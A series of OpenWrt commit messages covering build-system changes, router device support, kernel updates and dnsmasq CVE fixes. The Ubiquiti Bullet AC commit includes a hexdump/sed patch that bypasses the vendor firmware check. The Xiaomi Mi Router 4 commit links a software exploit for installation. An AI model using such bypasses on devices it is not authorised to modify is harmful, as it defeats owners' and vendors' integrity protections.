do not need the bits for delay on the MAC side.
This is possible due to fixes in at803x driver
since Linux 5.1 and 5.3
Signed-off-by: Michael Pratt <mcpratt@pm.me>
The majority of our targets provide a default value for the variable
SUPPORTED_DEVICES, which is used in images to check against the
compatible on a running device:
SUPPORTED_DEVICES := $(subst _,$(comma),$(1))
At the moment, this is implemented in the Device/Default block of
the individual targets or even subtargets. However, since we
standardized device names and compatible in the recent past, almost
all targets are following the same scheme now:
device/image name: vendor_model
compatible: vendor,model
The equal redundant definitions are a symptom of this process.
Consequently, this patch moves the definition to image.mk making it
a global default. For the few targets not using the scheme above,
SUPPORTED_DEVICES will be defined to a different value in
Device/Default anyway, overwriting the default. In other words:
This change is supposed to be cosmetic.
This can be used as a global measure to get the current compatible
with: $(firstword $(SUPPORTED_DEVICES))
(Though this is not precisely an achievement of this commit.)
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is a helpful utility, but it does not have any dependencies
in this repository. Move it to packages feed.
The package does not seem to have a maintainer.
Cc: Jo-Philipp Wich <jo@mein.io>
Cc: Nick Hainke <vincent@systemli.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is a helpful utility, but it does not have any dependencies
in this repository. Move it to packages feed.
Cc: Jo-Philipp Wich <jo@mein.io>
Cc: Nick Hainke <vincent@systemli.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The newly added `$(COMMITCOUNT)` varialbe allows automatic versioning
based on the number of Git commits of a package. Replace *tedious to
bump* and *merge conflict causing* `PKG_RELEASE` and replace it with
`$(COMMITCOUNT)`.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The lack of bumped PKG_RELEASE variables is a recurring theme on the
mailing list and in GitHub comments. This costs precious review time,
a rare good within the OpenWrt project.
Instead of relying on a manually set PKG_RELEASE this commit adds a
`commitcount` function that uses the number of Git commits to determine
the release. The function is called via the variables `$(AUTORELEASE)`
or `$(COMMITCOUNT)`. The `PKG_RELEASE` variable can be set to either of
the two.
- $(AUTORELEASE):
Release is automagically set to the number of commits since the last
commit containing either ": update to " or ": bump to ".
Example below:
$ git log packages/foobar/
foobar: fixup file location
foobar: disable docs
foobar: bump to 5.3.2
foobar: fixup copyright
Resulting package name: foobar_5.3.2-3_all.ipk, two package changes
since the last upstream version change, using a 1 based counter.
- $(COMMITCOUNT):
For non-traditional versioning (x.y.z), most prominent `base-files`,
this variable contains the total number of package commits.
The new functionality can also be used by other feeds like packages.git.
In case no build information is available, e.g. when using release
tarballs, the SOURCE_DATE_EPOCH is used to have a reproducible release
identifier.
Suggested-by: Daniel Golle <daniel@makrotopia.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
The "edimax,uimage"" parser can be replaced by the generic
parser using device specific openwrt,partition-magic and
openwrt,offset properties.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Some devices prepend a standard U-Boot Image with a vendor specific
header, having its own magic. Adding two new properties will support
validation of such images, including the additional magic.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
The "netgear,uimage" parser can be replaced by the generic
parser using device specific openwrt,ih-magic and
openwrt,ih-type properties.
Device tree properties for the following devices have not
been set, as they have been dropped from OpenWrt with the
removal of the ar71xx target:
FW_MAGIC_WNR2000V1 0x32303031
FW_MAGIC_WNR2000V4 0x32303034
FW_MAGIC_WNR1000V2_VC 0x31303030
FW_MAGIC_WPN824N 0x31313030
Tested-by: Sander Vanheule <sander@svanheule.net> # WNDR3700v2
Tested-by: Stijn Segers <foss@volatilesystems.org> # WNDR3700v1
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Convert users to the generic "openwrt,uimage" using device specific
"openwrt,ih-magic" properties, and remove "allnet,uimage".
Signed-off-by: Bjørn Mork <bjorn@mork.no>
The only difference between the "openwrt,okli" and the generic
parser is the magic. Set this in device tree for all affected
devices and remove the "openwrt,okli" parser.
Tested-by: Michael Pratt <mcpratt@protonmail.com> # EAP300 v2, ENS202EXT and ENH202
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Convert users of the "fonfxc" and "sge" parsers to the generic
"openwrt,uimage", using device specific "openwrt,padding" properties.
Tested-by: Stijn Segers <foss@volatilesystems.org> [DIR-878 A1]
Signed-off-by: Bjørn Mork <bjorn@mork.no>
It's required for BCM4908. It cannot use "bcm-wfi-fw" parser because
that one requires *two* JFFS2 partitions which is untested / unsupported
on the BCM4908 architecture. With a single JFFS2 partition "bcm-wfi-fw"
parser will:
1. Fail to find "vmlinux.lz" as it doesn't follow "1-openwrt" file
2. Create partitions that don't precisely match bootfs layout
The new parser is described in details in the MTD_SPLIT_CFE_BOOTFS
symbol help message.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Asus looks for an extra data at the end of BCM4908 image, right before
the BCM4908 tail. It needs to be properly filled to make Asus accept
firmware image.
This tool constructs such a tail, writes it and updates CRC32 in BCM4908
tail accordingly.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Sync ethernet driver code with upstream Linux kernel:
-Reduce xmit_more code changes.
-Combine rx cleanup code into a function.
-Convert to build_skb.
-Improve rx loop by optimizing loop tracking.
https://lore.kernel.org/netdev/20210106144208.1935-1-liew.s.piaw@gmail.com/
Signed-off-by: Sieng Piaw Liew <liew.s.piaw@gmail.com>
[Amend commit description, move patches to the top since they are going to be
upstreamed]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Hamming ECC devices do not cover OOB data, as opposed to BCH ECC devices.
Therefore, disabling ECC for all devices is preventing BCH devices from
correctly reading and writing the OOB data.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
The OEM assignment of LAN ports is swapped.
Fixes: c2a7bb520a ("ramips: mt7621: add support for Xiaomi Mi Router 4")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Xiaomi Mi Router 4 is the same as Xiaomi Mi Router 3G, except for
the RAM (256Mib→128Mib), LEDs and gpio (MiNet button).
Specifications:
Power: 12 VDC, 1 A
Connector type: barrel
CPU1: MediaTek MT7621A (880 MHz, 4 cores)
FLA1: 128 MiB (ESMT F59L1G81MA)
RAM1: 128 MiB (ESMT M15T1G1664A)
WI1 chip1: MediaTek MT7603EN
WI1 802dot11 protocols: bgn
WI1 MIMO config: 2x2:2
WI1 antenna connector: U.FL
WI2 chip1: MediaTek MT7612EN
WI2 802dot11 protocols: an+ac
WI2 MIMO config: 2x2:2
WI2 antenna connector: U.FL
ETH chip1: MediaTek MT7621A
Switch: MediaTek MT7621A
UART Serial
[o] TX
[o] GND
[o] RX
[ ] VCC - Do not connect it
MAC addresses as verified by OEM firmware:
use address source
LAN *:c2 factory 0xe000 (label)
WAN *:c3 factory 0xe006
2g *:c4 factory 0x0000
5g *:c5 factory 0x8000
Flashing instructions:
1.Create a simple http server (nginx etc)
2.set uart enable
To enable writing to the console, you must reset to factory settings
Then you see uboot boot, press the keyboard 4 button (enter uboot command line)
If it is not successful, repeat the above operation of restoring the factory settings.
After entering the uboot command line, type:
setenv uart_en 1
saveenv
boot
3.use shell in uart
cd /tmp
wget http://"your_computer_ip:80"/openwrt-ramips-mt7621-xiaomi_mir4-squashfs-kernel1.bin
wget http://"your_computer_ip:80"/openwrt-ramips-mt7621-xiaomi_mir4-squashfs-rootfs0.bin
mtd write openwrt-ramips-mt7621-xiaomi_mir4-squashfs-kernel1.bin kernel1
mtd write openwrt-ramips-mt7621-xiaomi_mir4-squashfs-rootfs0.bin rootfs0
nvram set flag_try_sys1_failed=1
nvram commit
reboot
4.login to the router http://192.168.1.1/
Installation via Software exploit
Find the instructions in the https://github.com/acecilia/OpenWRTInvasion
Signed-off-by: Dmytro Oz <sequentiality@gmail.com>
[commit message facelift, rebase onto shared DTSI/common device
definition, bump uboot-envtools]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates a DTSI for Xiaomi devices with 128M NAND.
This allows to consolidate the partitions and a few other nodes for
AC2100 family and Mi Router 3G.
Note that the Mi Router 3 Pro has 256M NAND and differently sized
partitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates a shared device definition for Xiaomi devices with
NAND and "separate" images, i.e. kernel1.bin and rootfs0.bin.
This allows to consolidate similar/duplicate code for AC2100 family
and Mi Router 3G.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since generic images have been split to their own
Makefile boards are showing up twice in menuconfig
as $(eval $(call BuildImage)) was not dropped from
the new generic.mk.
Hence $(eval $(call BuildImage)) was being called
twice.
So, lets simply drop it from generic.mk.
Fixes: 378c7ff282 ("ipq40xx: split generic images into own file")
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
There seems to be a problem with setting #WP. On the other hand ignoring
the #WP seems to work. rootfs_data UBI volume seems to persist changes.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
BCM4908 bootloader requires firmware with JFFS2 image containing:
1. cferam.000
2. 94908.dtb
3. vmlinux.lz
4. device custom files
cferam.000 can be obtained from the bcm63xx-cfe repository.
device custom files are stored in images dir.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
procd doesn't work with just serial specified in the DT (using chosen &
stdout-path). It requires tty device to be explicitly specified in the
cmdline.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
1. It's useful for developing & validating DTS files inside OpenWrt
2. This will allow backporting later changes that depend on it
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
All modification made by update_kernel.sh in a fresh clone without
existing toolchains.
Build system: x86_64
Build-tested: ipq806x/R7800, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Tested-by: Curtis Deptuck <curtdept@me.com> [x86/64]
Device specifications:
======================
* Qualcomm/Atheros QCA9558 ver 1 rev 0
* 720/600/240 MHz (CPU/DDR/AHB)
* 128 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 3T3R 2.4 GHz Wi-Fi (11n)
* 3T3R 5 GHz Wi-Fi (11ac)
* 6x GPIO-LEDs (2x wifi, 2x status, 1x lan, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default))
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 1x ethernet
- AR8035 ethernet PHY (RGMII)
- 10/100/1000 Mbps Ethernet
- 802.3af POE
- used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to the
device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[rebase, add LED migration]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Device specifications:
======================
* Qualcomm/Atheros QCA9558 ver 1 rev 0
* 720/600/240 MHz (CPU/DDR/AHB)
* 128 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 3T3R 2.4 GHz Wi-Fi (11n)
* 3T3R 5 GHz Wi-Fi (11ac)
* 6x GPIO-LEDs (2x wifi, 2x status, 1x lan, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default))
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 1x ethernet
- AR8035 ethernet PHY (RGMII)
- 10/100/1000 Mbps Ethernet
- 802.3af POE
- used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to the
device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[rebase, apply shared DTSI/device node, add LED migration]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The OpenMesh MR900 and to-be-added MR1750 family are very similar.
Make the existing MR900 DTSI more general so it can be used for
the MR1750 devices as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The shared image definitions for OpenMesh devices are currently
organized based on device families. This introduces some duplicate
code, as the image creation code is mostly the same for those.
This patch thus derives two basic shared definitions that work for
all devices and only requires a few variables to be moved back to
the device definitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The OpenMesh MR900 is a modified version of the Exx900/Exx1750 family.
These devices are shipped with an AR803x PHY and had various problems with
the delay configuration in ar71xx. These problems are now in the past [1]
and parts of the delay configuration should now be done in the PHY only.
Just switch to the configuration of the ECB1750 to have an already well
tested configuration for ath79 with the newer kernel versions.
[1] https://github.com/openwrt/openwrt/pull/3505#issuecomment-716050292
Reported-by: Michael Pratt <mcpratt@pm.me>
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
======================
* Qualcomm/Atheros QCA9558 ver 1 rev 0
* 720/600/240 MHz (CPU/DDR/AHB)
* 128 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 3T3R 2.4 GHz Wi-Fi
* 3T3R 5 GHz Wi-Fi
* 6x GPIO-LEDs (2x wifi, 2x status, 1x lan, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default))
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 1x ethernet
- AR8035 ethernet PHY (RGMII)
- 10/100/1000 Mbps Ethernet
- 802.3af POE
- used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to the
device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[rebase, add LED migration]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Device specifications:
======================
* Qualcomm/Atheros QCA9558 ver 1 rev 0
* 720/600/240 MHz (CPU/DDR/AHB)
* 128 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 3T3R 2.4 GHz Wi-Fi
* 3T3R 5 GHz Wi-Fi
* 6x GPIO-LEDs (2x wifi, 2x status, 1x lan, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default))
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 1x ethernet
- AR8035 ethernet PHY (RGMII)
- 10/100/1000 Mbps Ethernet
- 802.3af POE
- used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to the
device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[rebase, add LED migration]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The OpenMesh MR600 is a modified version of the EAP600 family. These
devices are shipped with an AR803x PHY and had various problems with the
delay configuration in ar71xx. These problems are now in the past [1] and
parts of the delay configuration should now be done in the PHY only.
Just switch to the configuration of the EAP600 to have an already well
tested configuration for ath79 with the newer kernel versions.
[1] https://github.com/openwrt/openwrt/pull/3505#issuecomment-716050292
Reported-by: Michael Pratt <mcpratt@pm.me>
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
======================
* Qualcomm/Atheros AR9344 rev 2
* 560/450/225 MHz (CPU/DDR/AHB)
* 128 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2T2R 2.4 GHz Wi-Fi
* 2T2R 5 GHz Wi-Fi
* 8x GPIO-LEDs (6x wifi, 1x wps, 1x power)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default))
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 1x ethernet
- AR8035 ethernet PHY (RGMII)
- 10/100/1000 Mbps Ethernet
- 802.3af POE
- used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to the
device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[rebase, add LED migration]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Device specifications:
======================
* Qualcomm/Atheros AR9344 rev 2
* 560/450/225 MHz (CPU/DDR/AHB)
* 128 MB of RAM
* 16 MB of SPI NOR flash
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2T2R 2.4 GHz Wi-Fi
* 2T2R 5 GHz Wi-Fi
* 4x GPIO-LEDs (2x wifi, 1x wps, 1x power)
* 1x GPIO-button (reset)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 1x ethernet
- AR8035 ethernet PHY (RGMII)
- 10/100/1000 Mbps Ethernet
- 802.3af POE
- used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
======================
Various methods can be used to install the actual image on the flash.
Two easy ones are:
ap51-flash
----------
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the image to the u-boot when the device boots up.
initramfs from TFTP
-------------------
The serial console must be used to access the u-boot shell during bootup.
It can then be used to first boot up the initramfs image from a TFTP server
(here with the IP 192.168.1.21):
setenv serverip 192.168.1.21
setenv ipaddr 192.168.1.1
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin && bootm $fileaddr
The actual sysupgrade image can then be transferred (on the LAN port) to the
device via
scp <filename-of-squashfs-sysupgrade>.bin root@192.168.1.1:/tmp/
On the device, the sysupgrade must then be started using
sysupgrade -n /tmp/<filename-of-squashfs-sysupgrade>.bin
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[rebase, make WLAN LEDs consistent, add LED migration]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The "cidr_contains6" functions clones the given cidr. The contains4
does not clone the cidr. Both functions do not behave the same.
I see no reason to push the cidr. I think that we get only a negligible
performance gain, but it makes ipv4 and ipv6 equal again.
Signed-off-by: Nick Hainke <vincent@systemli.org>
All modification made by update_kernel.sh in a fresh clone without
existing toolchains.
Build system: x86_64
Build-tested: ipq806x/R7800, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Tested-by: Curtis Deptuck <curtdept@me.com> [x86/64]
This fixes the following security problems in dnsmasq:
* CVE-2020-25681:
Dnsmasq versions before 2.83 is susceptible to a heap-based buffer
overflow in sort_rrset() when DNSSEC is used. This can allow a remote
attacker to write arbitrary data into target device's memory that can
lead to memory corruption and other unexpected behaviors on the target
device.
* CVE-2020-25682:
Dnsmasq versions before 2.83 is susceptible to buffer overflow in
extract_name() function due to missing length check, when DNSSEC is
enabled. This can allow a remote attacker to cause memory corruption
on the target device.
* CVE-2020-25683:
Dnsmasq version before 2.83 is susceptible to a heap-based buffer
overflow when DNSSEC is enabled. A remote attacker, who can create
valid DNS replies, could use this flaw to cause an overflow in a heap-
allocated memory. This flaw is caused by the lack of length checks in
rtc1035.c:extract_name(), which could be abused to make the code
execute memcpy() with a negative size in get_rdata() and cause a crash
in Dnsmasq, resulting in a Denial of Service.
* CVE-2020-25684:
A lack of proper address/port check implemented in Dnsmasq version <
2.83 reply_query function makes forging replies easier to an off-path
attacker.
* CVE-2020-25685:
A lack of query resource name (RRNAME) checks implemented in Dnsmasq's
versions before 2.83 reply_query function allows remote attackers to
spoof DNS traffic that can lead to DNS cache poisoning.
* CVE-2020-25686:
Multiple DNS query requests for the same resource name (RRNAME) by
Dnsmasq versions before 2.83 allows for remote attackers to spoof DNS
traffic, using a birthday attack (RFC 5452), that can lead to DNS
cache poisoning.
* CVE-2020-25687:
Dnsmasq versions before 2.83 is vulnerable to a heap-based buffer
overflow with large memcpy in sort_rrset() when DNSSEC is enabled. A
remote attacker, who can create valid DNS replies, could use this flaw
to cause an overflow in a heap-allocated memory. This flaw is caused
by the lack of length checks in rtc1035.c:extract_name(), which could
be abused to make the code execute memcpy() with a negative size in
sort_rrset() and cause a crash in dnsmasq, resulting in a Denial of
Service.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The referenced commit is gone, but we already have this file on our
mirror, use that one by providing the correct mirror hash.
I generated a tar.xz file with the given git commit hash using a random
fork on github and it generated the same tar.xz file as found on our
mirror so this looks correct.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The referenced commit is gone, but we already have this file on our
mirror, use that one by providing the correct mirror hash.
I generated a tar.xz file with the given git commit hash using a random
fork on github and it generated the same tar.xz file as found on our
mirror so this looks correct.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Kerning seems to be very off-putting for some people so the logo
designer thankfully updated guidelines to something which is now
considered final.
Signed-off-by: Paul Spooren <mail@aparcar.org>
These devices do not run Ubiquiti AirOS. Rename the partition to the
name used by other UniFi devices with vendor dualboot support.
Signed-off-by: David Bauer <mail@david-bauer.net>
The NanoPi R2S does not have a board specific MAC address written inside
e.g. an EEPROM, hence why it is randomly generated on first boot.
The issue with that however is the lack of a driver for the PRNG.
It often results to the same MAC address used on multiple boards by
default, as urngd is not active at this early stage resulting in low
available entropy.
There is however a semi-unique identifier available to us, which is the
CID of the used SD card. It is unique to each SD card, hence we can use
it to generate the MAC address used for LAN and WAN.
Signed-off-by: David Bauer <mail@david-bauer.net>
Flashing image with BCM4908 CFE bootloader requires specific firmware
format. It needs 20 extra bytes with magic numbers and CRC32 appended.
This tools allows appending such a tail to the specified image and also
verifying CRC32 of existing BCM4908 image.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
53f07e9 ra: fix routing loop on point to point links
2b6959d ra: align ifindex resolving
Tested-by: Karl Vogel <karl.vogel@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
This enables the MikroTik platform driver, it enables us to parse
valuable info from hard_config including WLAN calibration data
extraction from sysfs.
Signed-off-by: Robert Marko <robimarko@gmail.com>
This enables the new MikroTik specific partition parser.
This avoids manually specifying the MikroTik specific partitions as they
can be detected by their magic values.
Signed-off-by: Robert Marko <robimarko@gmail.com>
MikroTik devices require the use of raw vmlinux out of the self
extracting compressed kernels.
They also require 4K sectors, kernel2minor, partition parser as well as
RouterBoard platform drivers.
So in order to not add unnecessary code to the generic sub target lets
introduce a MikroTik sub target.
Signed-off-by: Robert Marko <robimarko@gmail.com>
If the watchdog is enabled, set the timeout to 30 seconds before
decompress is started.
Mikrotik ipq40xx devices running with RouterBoot have the SoC watchdog
enabled and running with a timeout that does not allow time for the
kernel to decompress and manage the watchdog.
On ipq40xx RouterBoot TFTP boot the watchdog countdown is reset before:
Jumping to kernel
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
This adds a appended_dtb section to the ARM decompressor
linker script.
This allows using the existing ARM zImage appended DTB support for
appending a DTB to the raw ELF kernel.
Its size is set to 1MB max to match the zImage appended DTB size limit.
To use it to pass the DTB to the kernel, objcopy is used:
objcopy --set-section-flags=.appended_dtb=alloc,contents \
--update-section=.appended_dtb=<target>.dtb vmlinux
This is based off the following patch:
c063e27e02
Signed-off-by: Robert Marko <robimarko@gmail.com>
Reordered for consistency between packages.
Fixed license information.
Change PKG_BUILD_PARALLEL to 1. This is no longer a problem.1
Signed-off-by: Rosen Penev <rosenp@gmail.com>
4c619b3eed x86: Check IFUNC definition in unrelocated executable [BZ #20019]
87450ecf8a x86: Set header.feature_1 in TCB for always-on CET [BZ #27177]
2b4f67c2b3 Update for [BZ #27130] fix
1a24bbd43e x86-64: Avoid rep movsb with short distance [BZ #27130]
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
The removed config symbols are already enabled by the generic kernel
configuration (or by default), while the added ones are forcefully
enabled by the specific architecture.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
The USB port definition is only needed when it is linked to a USB
LED. Since there is none for this device, we might as well remove
the port definition.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
CPU: Atheros AR9342 rev 3 SoC
RAM: 64 MB DDR2
Flash: 16 MB NOR SPI
WLAN 2.4GHz: Atheros AR9342 v3 (ath9k)
WLAN 5.0GHz: QCA988X
Ports: 1x GbE
Flashing procedure is identical to other ubnt devices.
https://openwrt.org/toh/ubiquiti/common
Flashing through factory firmware
1. Ensure firmware version v8.7.0 is installed.
Up/downgrade to this exact version.
2. Patch fwupdate.real binary using
`hexdump -Cv /bin/ubntbox | sed 's/14 40 fe 27/00 00 00 00/g' | \
hexdump -R > /tmp/fwupdate.real`
3. Make the patched fwupdate.real binary executable using
`chmod +x /tmp/fwupdate.real`
4. Copy the squashfs factory image to /tmp on the device
5. Flash OpenWrt using `/tmp/fwupdate.real -m <squashfs-factory image>`
6. Wait for the device to reboot
(copied from Ubiquiti NanoBeam AC and modified)
Flashing from serial console
1. Connect serial console (115200 baud)
2. Connect ethernet to a network with a TFTP server, through a
passive PoE injector.
3. Press a key to obtain a u-boot prompt
4. Set your TFTP server's ip address, with:
setenv serverip <tftp-server-address>
5. Set the Bullet AC's ip address, with:
setenv ipaddr <bullet-ac-address>
6. Set the boot file, with:
setenv bootfile <name-of-initramfs-binary-on-tftp-server>
7. Fetch the binary with tftp:
tftpboot
8. Boot the initramfs binary:
bootm
9. From the initramfs, fetch the sysupgrade binary, and flash it with
sysupgrade.
The Bullet AC is identified as a 2WA board by Ubiquiti. As such, the UBNT_TYPE
must match from the "Flashing through factory firmware" install instructions
to work.
Phy0 is QCA988X which can tune either band (2.4 or 5GHz). Phy1 is AR9342,
on which 5GHz is disabled. It isn't currently known whether phy1 is
routed to the N connector at all.
Signed-off-by: Russell Senior <russell@personaltelco.net>
The following four led triggers are enabled in generic config.
* kmod-ledtrig-default-on
* kmod-ledtrig-heartbeat
* kmod-ledtrig-netdev
* kmod-ledtrig-timer
Drop the packages and remove them from DEVICE_PACKAGES.
There's no other package depending on them in this repo.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Those targets have already enabled some other LED triggers, so enabling
a few more won't be a big problem.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The heartbeat trigger is used by luci-mod-system, which is installed
as a part of the standard luci package set. It seems the LED trigger
will be required quite often, so let's enable it by default.
This increases uncompressed kernel size by about 100 bytes on ath79/generic.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
With encryption disabled, it was intended to set wpa_state=1 (enabled,
not configured) through the 'wps_not_configured' flag.
The flag is set appropriately but the condition using it is broken.
Instead, 'wps_configured' is checked and wpa_state is always 2 (enabled,
configured). Fix it by using the correct variable name.
Fixes: 498d84fc4e ("netifd: add wireless configuration support
and port mac80211 to the new framework")
Signed-off-by: Leon M. George <leon@georgemail.eu>
[commit title/message improvements]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
CONFIG_THERMAL option was changed to boolean in upstream linux commit
554b3529fe01 ("thermal/drivers/core: Remove the module Kconfig's option").
Switch it to 'y' and remove FILES and AUTOLOAD for non-existant module file.
